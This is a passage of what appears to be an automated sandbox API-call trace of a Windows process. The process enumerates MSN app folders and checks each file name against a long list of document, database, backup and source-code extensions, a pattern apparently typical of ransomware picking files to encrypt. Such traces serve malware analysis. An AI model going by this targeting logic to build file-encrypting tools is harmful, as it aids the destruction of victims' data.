dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.032] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sports_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1 [0086.033] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.033] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x120f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatsLogo.png", cAlternateFileName="")) returned 1 [0086.033] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.034] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0086.034] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.034] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c3853b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x5ab7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1 [0086.035] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.035] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0086.035] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0086.035] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.035] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c46a340, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0086.037] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.037] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73d444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1 [0086.037] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.037] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73dce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1 [0086.037] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.037] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1 [0086.037] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.037] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73ed8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0086.037] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.038] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1 [0086.038] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.038] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0 [0086.038] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0086.038] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.038] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73b0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0 [0086.038] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0086.038] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.040] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0 [0086.040] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0086.040] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.040] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7402e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1 [0086.042] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0086.042] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa742614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0 [0086.042] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0086.042] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.042] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741b52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0 [0086.042] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0086.042] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.043] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0086.043] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0086.043] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.044] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c502c94, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb8da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Sports.dll", cAlternateFileName="")) returned 1 [0086.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.044] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9a1593, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1 [0086.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.044] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1 [0086.045] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x418c020, Size=0x200000) returned 0x4493020 [0086.066] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cad2708, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6cad2708, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6cad2708, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SQLiteWrapper.winmd", cAlternateFileName="")) returned 1 [0086.066] lstrlenW (lpString="SQLiteWrapper.winmd") returned 19 [0086.066] lstrlenW (lpString=".1cd") returned 4 [0086.066] lstrcmpiW (lpString1=".1cd", lpString2="inmd") returned -1 [0086.066] lstrlenW (lpString=".3ds") returned 4 [0086.066] lstrcmpiW (lpString1=".3ds", lpString2="inmd") returned -1 [0086.066] lstrlenW (lpString=".3fr") returned 4 [0086.066] lstrcmpiW (lpString1=".3fr", lpString2="inmd") returned -1 [0086.066] lstrlenW (lpString=".3g2") returned 4 [0086.066] lstrcmpiW (lpString1=".3g2", lpString2="inmd") returned -1 [0086.066] lstrlenW (lpString=".3gp") returned 4 [0086.066] lstrcmpiW (lpString1=".3gp", lpString2="inmd") returned -1 [0086.066] lstrlenW (lpString=".7z") returned 3 [0086.066] lstrcmpiW (lpString1=".7z", lpString2="nmd") returned -1 [0086.066] lstrlenW (lpString=".accda") returned 6 [0086.066] lstrcmpiW (lpString1=".accda", lpString2=".winmd") returned -1 [0086.066] lstrlenW (lpString=".accdb") returned 6 [0086.066] lstrcmpiW (lpString1=".accdb", lpString2=".winmd") returned -1 [0086.066] lstrlenW (lpString=".accdc") returned 6 [0086.066] lstrcmpiW (lpString1=".accdc", lpString2=".winmd") returned -1 [0086.066] lstrlenW (lpString=".accde") returned 6 [0086.066] lstrcmpiW (lpString1=".accde", lpString2=".winmd") returned -1 [0086.066] lstrlenW (lpString=".accdt") returned 6 [0086.066] lstrcmpiW (lpString1=".accdt", lpString2=".winmd") returned -1 [0086.066] lstrlenW (lpString=".accdw") returned 6 [0086.066] lstrcmpiW (lpString1=".accdw", lpString2=".winmd") returned -1 [0086.067] lstrlenW (lpString=".adb") returned 4 [0086.067] lstrcmpiW (lpString1=".adb", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".adp") returned 4 [0086.067] lstrcmpiW (lpString1=".adp", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".ai") returned 3 [0086.067] lstrcmpiW (lpString1=".ai", lpString2="nmd") returned -1 [0086.067] lstrlenW (lpString=".ai3") returned 4 [0086.067] lstrcmpiW (lpString1=".ai3", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".ai4") returned 4 [0086.067] lstrcmpiW (lpString1=".ai4", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".ai5") returned 4 [0086.067] lstrcmpiW (lpString1=".ai5", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".ai6") returned 4 [0086.067] lstrcmpiW (lpString1=".ai6", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".ai7") returned 4 [0086.067] lstrcmpiW (lpString1=".ai7", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".ai8") returned 4 [0086.067] lstrcmpiW (lpString1=".ai8", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".anim") returned 5 [0086.067] lstrcmpiW (lpString1=".anim", lpString2="winmd") returned -1 [0086.067] lstrlenW (lpString=".arw") returned 4 [0086.067] lstrcmpiW (lpString1=".arw", lpString2="inmd") returned -1 [0086.067] lstrlenW (lpString=".as") returned 3 [0086.067] lstrcmpiW (lpString1=".as", lpString2="nmd") returned -1 [0086.067] lstrlenW (lpString=".asa") returned 4 [0086.067] lstrcmpiW (lpString1=".asa", lpString2="inmd") returned -1 [0086.334] lstrlenW (lpString=".asc") returned 4 [0086.334] lstrcmpiW (lpString1=".asc", lpString2="inmd") returned -1 [0086.334] lstrlenW (lpString=".ascx") returned 5 [0086.334] lstrcmpiW (lpString1=".ascx", lpString2="winmd") returned -1 [0086.335] lstrlenW (lpString=".asm") returned 4 [0086.335] lstrcmpiW (lpString1=".asm", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".asmx") returned 5 [0086.335] lstrcmpiW (lpString1=".asmx", lpString2="winmd") returned -1 [0086.335] lstrlenW (lpString=".asp") returned 4 [0086.335] lstrcmpiW (lpString1=".asp", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".aspx") returned 5 [0086.335] lstrcmpiW (lpString1=".aspx", lpString2="winmd") returned -1 [0086.335] lstrlenW (lpString=".asr") returned 4 [0086.335] lstrcmpiW (lpString1=".asr", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".asx") returned 4 [0086.335] lstrcmpiW (lpString1=".asx", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".avi") returned 4 [0086.335] lstrcmpiW (lpString1=".avi", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".avs") returned 4 [0086.335] lstrcmpiW (lpString1=".avs", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".backup") returned 7 [0086.335] lstrcmpiW (lpString1=".backup", lpString2="r.winmd") returned -1 [0086.335] lstrlenW (lpString=".bak") returned 4 [0086.335] lstrcmpiW (lpString1=".bak", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".bay") returned 4 [0086.335] lstrcmpiW (lpString1=".bay", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".bd") returned 3 [0086.335] lstrcmpiW (lpString1=".bd", lpString2="nmd") returned -1 [0086.335] lstrlenW (lpString=".bin") returned 4 [0086.335] lstrcmpiW (lpString1=".bin", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".bmp") returned 4 [0086.335] lstrcmpiW (lpString1=".bmp", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".bz2") returned 4 [0086.335] lstrcmpiW (lpString1=".bz2", lpString2="inmd") returned -1 [0086.335] lstrlenW (lpString=".c") returned 2 [0086.336] lstrcmpiW (lpString1=".c", lpString2="md") returned -1 [0086.336] lstrlenW (lpString=".cdr") returned 4 [0086.336] lstrcmpiW (lpString1=".cdr", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".cer") returned 4 [0086.336] lstrcmpiW (lpString1=".cer", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".cf") returned 3 [0086.336] lstrcmpiW (lpString1=".cf", lpString2="nmd") returned -1 [0086.336] lstrlenW (lpString=".cfc") returned 4 [0086.336] lstrcmpiW (lpString1=".cfc", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".cfm") returned 4 [0086.336] lstrcmpiW (lpString1=".cfm", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".cfml") returned 5 [0086.336] lstrcmpiW (lpString1=".cfml", lpString2="winmd") returned -1 [0086.336] lstrlenW (lpString=".cfu") returned 4 [0086.336] lstrcmpiW (lpString1=".cfu", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".chm") returned 4 [0086.336] lstrcmpiW (lpString1=".chm", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".cin") returned 4 [0086.336] lstrcmpiW (lpString1=".cin", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".class") returned 6 [0086.336] lstrcmpiW (lpString1=".class", lpString2=".winmd") returned -1 [0086.336] lstrlenW (lpString=".clx") returned 4 [0086.336] lstrcmpiW (lpString1=".clx", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".config") returned 7 [0086.336] lstrcmpiW (lpString1=".config", lpString2="r.winmd") returned -1 [0086.336] lstrlenW (lpString=".cpp") returned 4 [0086.336] lstrcmpiW (lpString1=".cpp", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".cr2") returned 4 [0086.336] lstrcmpiW (lpString1=".cr2", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".crt") returned 4 [0086.336] lstrcmpiW (lpString1=".crt", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".crw") returned 4 [0086.336] lstrcmpiW (lpString1=".crw", lpString2="inmd") returned -1 [0086.336] lstrlenW (lpString=".cs") returned 3 [0086.336] lstrcmpiW (lpString1=".cs", lpString2="nmd") returned -1 [0086.337] lstrlenW (lpString=".css") returned 4 [0086.337] lstrcmpiW (lpString1=".css", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".csv") returned 4 [0086.337] lstrcmpiW (lpString1=".csv", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".cub") returned 4 [0086.337] lstrcmpiW (lpString1=".cub", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dae") returned 4 [0086.337] lstrcmpiW (lpString1=".dae", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dat") returned 4 [0086.337] lstrcmpiW (lpString1=".dat", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".db") returned 3 [0086.337] lstrcmpiW (lpString1=".db", lpString2="nmd") returned -1 [0086.337] lstrlenW (lpString=".dbf") returned 4 [0086.337] lstrcmpiW (lpString1=".dbf", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dbx") returned 4 [0086.337] lstrcmpiW (lpString1=".dbx", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dc3") returned 4 [0086.337] lstrcmpiW (lpString1=".dc3", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dcm") returned 4 [0086.337] lstrcmpiW (lpString1=".dcm", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dcr") returned 4 [0086.337] lstrcmpiW (lpString1=".dcr", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".der") returned 4 [0086.337] lstrcmpiW (lpString1=".der", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dib") returned 4 [0086.337] lstrcmpiW (lpString1=".dib", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dic") returned 4 [0086.337] lstrcmpiW (lpString1=".dic", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".dif") returned 4 [0086.337] lstrcmpiW (lpString1=".dif", lpString2="inmd") returned -1 [0086.337] lstrlenW (lpString=".divx") returned 5 [0086.337] lstrcmpiW (lpString1=".divx", lpString2="winmd") returned -1 [0086.337] lstrlenW (lpString=".djvu") returned 5 [0086.337] lstrcmpiW (lpString1=".djvu", lpString2="winmd") returned -1 [0086.337] lstrlenW (lpString=".dng") returned 4 [0086.337] lstrcmpiW (lpString1=".dng", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".doc") returned 4 [0086.338] lstrcmpiW (lpString1=".doc", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".docm") returned 5 [0086.338] lstrcmpiW (lpString1=".docm", lpString2="winmd") returned -1 [0086.338] lstrlenW (lpString=".docx") returned 5 [0086.338] lstrcmpiW (lpString1=".docx", lpString2="winmd") returned -1 [0086.338] lstrlenW (lpString=".dot") returned 4 [0086.338] lstrcmpiW (lpString1=".dot", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".dotm") returned 5 [0086.338] lstrcmpiW (lpString1=".dotm", lpString2="winmd") returned -1 [0086.338] lstrlenW (lpString=".dotx") returned 5 [0086.338] lstrcmpiW (lpString1=".dotx", lpString2="winmd") returned -1 [0086.338] lstrlenW (lpString=".dpx") returned 4 [0086.338] lstrcmpiW (lpString1=".dpx", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".dqy") returned 4 [0086.338] lstrcmpiW (lpString1=".dqy", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".dsn") returned 4 [0086.338] lstrcmpiW (lpString1=".dsn", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".dt") returned 3 [0086.338] lstrcmpiW (lpString1=".dt", lpString2="nmd") returned -1 [0086.338] lstrlenW (lpString=".dtd") returned 4 [0086.338] lstrcmpiW (lpString1=".dtd", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".dwg") returned 4 [0086.338] lstrcmpiW (lpString1=".dwg", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".dwt") returned 4 [0086.338] lstrcmpiW (lpString1=".dwt", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".dx") returned 3 [0086.338] lstrcmpiW (lpString1=".dx", lpString2="nmd") returned -1 [0086.338] lstrlenW (lpString=".dxf") returned 4 [0086.338] lstrcmpiW (lpString1=".dxf", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".edml") returned 5 [0086.338] lstrcmpiW (lpString1=".edml", lpString2="winmd") returned -1 [0086.338] 